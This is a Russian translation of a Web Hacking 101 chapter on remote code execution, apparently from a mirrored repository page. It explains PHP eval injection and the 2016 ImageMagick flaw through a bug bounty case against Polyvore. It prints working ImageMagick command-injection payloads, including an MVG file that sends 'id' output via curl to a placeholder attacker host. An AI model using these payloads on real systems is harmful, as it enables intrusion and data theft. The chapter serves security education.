1 В избранное 0 Ответвления 0

OSCHINA-MIRROR/wizardforcel-web-hacking-101-zh

Клонировать/Скачать
15.md 7 КБ
Копировать Редактировать Web IDE Исходные данные Просмотреть построчно История
gitlife-traslator Отправлено 29.11.2024 03:04 a1c380c

Пятнадцатое: выполнение кода

Автор: Питер Яворски. Переводчик: Летающий дракон. Протокол: CC BY-NC-SA 4.0.

Описание

Выполнение удалённого кода — это внедрение и интерпретация кода уязвимым приложением. Обычно это происходит, когда приложение не проверяет или обрабатывает входные данные должным образом.

Рассмотрим следующий код:

$var = $_GET['page']; 
eval($var);

Здесь уязвимое приложение может использовать URL index.php?page=1. Однако если ввести index.php?page=1;phpinfo(), приложение выполнит функцию phpinfo и вернёт её содержимое.

Подобно этому, выполнение удалённого кода иногда используется для обозначения внедрения команд. OWASP различает эти два понятия. При внедрении команд уязвимое приложение выполняет команды на хост-системе. Это также происходит из-за недостаточной обработки и проверки пользовательского ввода, что приводит к передаче команд пользователя операционной системе.

Например, в PHP это может проявляться как передача пользовательского ввода функции system.

Пример

  1. Polyvore ImageMagick

ImageMagick — это пакет программного обеспечения, обычно используемый для обработки изображений, таких как обрезка и масштабирование. PHP imagick, Ruby rmagick и paperclip, а также NodeJs imagemagick используют его. В апреле 2016 года в библиотеке было обнаружено несколько уязвимостей, одна из которых позволяет выполнять удалённый код.

Проще говоря, ImageMagick не фильтрует должным образом имена файлов, которые ему передаются, и в конечном итоге использует их для вызова метода system. Таким образом, злоумышленник может передать команду для выполнения, например, https://example.com"|ls "-la, которая будет выполнена. Пример использования ImageMagick:

convert 'https://example.com"|ls "-la' out.png

Интересно, что ImageMagick определяет собственный синтаксис для файлов MVG (Magick Vectire Graphics). Поэтому злоумышленник может создать файл exploit.mvg со следующим кодом:

push graphic-context 
viewbox 0 0 640 480 
fill 'url(https://example.com/image.jpg"|ls "-la)' 
pop graphic-context

Этот код будет передан библиотеке, и если на сайте есть уязвимость, он будет выполнен и выведет список файлов в каталоге.

После изучения этого вопроса Бен Садегипур проверил, есть ли уязвимости на сайтах Yahoo acquisition и Polyvore. Как он описал в своей статье, Бен сначала протестировал уязвимость на своём локальном компьютере, чтобы убедиться, что файл mvg работает правильно. Вот код, который он использовал:

push graphic-context 
viewbox 0 0 640 480 
image over 0,0 0,0 'https://127.0.0.1/x.php?x=`id | curl http://SOMEIPADDRESS:80
80/ -d @- > /dev/null`' 
pop graphic-content

Здесь используется библиотека CURL для вызова SOMEIPADDRESS (замените на адрес вашего сервера). Если всё выполнено успешно, вы получите такой ответ:

Ответ сервера после тестирования ImageMagick Беном Садегипуром

Затем Бен просмотрел Polyvore, загрузил файл как изображение профиля и получил следующий ответ на сервере:

Ответ сервера Polyvore после тестирования ImageMagick Беном Садегипуром

Заключение

Чтение является важной частью успешного проникновения, включая чтение об уязвимостях программного обеспечения и распространённых уязвимостях, а также раскрытие информации (идентификатор CVE). Когда вы сталкиваетесь с сайтом без установленных обновлений безопасности, знание предыдущих уязвимостей может помочь вам. Здесь Yahoo уже исправила сервер, но не сделала это должным образом (я не могу найти объяснение того, что это значит). Однажды знание об уязвимости ImageMagick позволило Бену специально нацелиться на неё и получить награду в размере 2000 долларов.

Заключение

Удалённое выполнение кода, как и другие уязвимости, обычно возникает из-за отсутствия надлежащей проверки и обработки пользовательского ввода. В приведённом примере ImageMagick неправильно экранирует потенциально вредоносный контент. Вместе со знаниями Бена об этой уязвимости он смог специально искать и тестировать некоторые уязвимые сайты. Для поиска таких уязвимостей нет простого ответа. Следует обращать внимание на опубликованные CVE и учитывать программное обеспечение, используемое на сайтах, так как оно может быть устаревшим и содержать уязвимости.

Опубликовать ( 0 )

Вы можете оставить комментарий после Вход в систему

1
https://api.gitlife.ru/oschina-mirror/wizardforcel-web-hacking-101-zh.git
git@api.gitlife.ru:oschina-mirror/wizardforcel-web-hacking-101-zh.git
oschina-mirror
wizardforcel-web-hacking-101-zh
wizardforcel-web-hacking-101-zh
master